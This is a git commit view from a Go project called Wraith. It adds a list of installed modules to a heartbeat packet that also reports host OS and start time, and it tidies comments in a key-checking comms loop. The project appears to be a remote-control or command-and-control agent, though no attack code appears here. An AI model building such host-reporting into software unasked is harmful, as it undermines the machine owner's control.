chore: include module list in heartbeat

This commit is contained in:
0x1a8510f2 2023-01-15 14:13:19 +00:00
parent 1dcf389f3a
commit 0d8abbfae7
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
2 changed files with 5 additions and 2 deletions

View File

@ -11,6 +11,9 @@ type PacketHeartbeat struct {
// The time when this Wraith was initialised.
InitTime time.Time
// A list of the names of modules installed in this Wraith.
Modules []string
// The operating system Wraith is running on.
HostOS string

View File

@ -114,14 +114,14 @@ func (m *ModulePinecomms) handleRequest(ctx context.Context, w *libwraith.Wraith
}
func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
// Ensure this instance is only started once and mark as running if so
// Ensure this instance is only started once and mark as running if so.
single := m.mutex.TryLock()
if !single {
panic(fmt.Errorf("%s already running", MOD_NAME))
}
defer m.mutex.Unlock()
// Make sure keys are valid
// Make sure keys are valid.
if keylen := len(m.OwnPrivKey); keylen != ed25519.PrivateKeySize {
panic(fmt.Errorf("[%s] incorrect private key size (is %d, should be %d)", MOD_NAME, keylen, ed25519.PublicKeySize))
}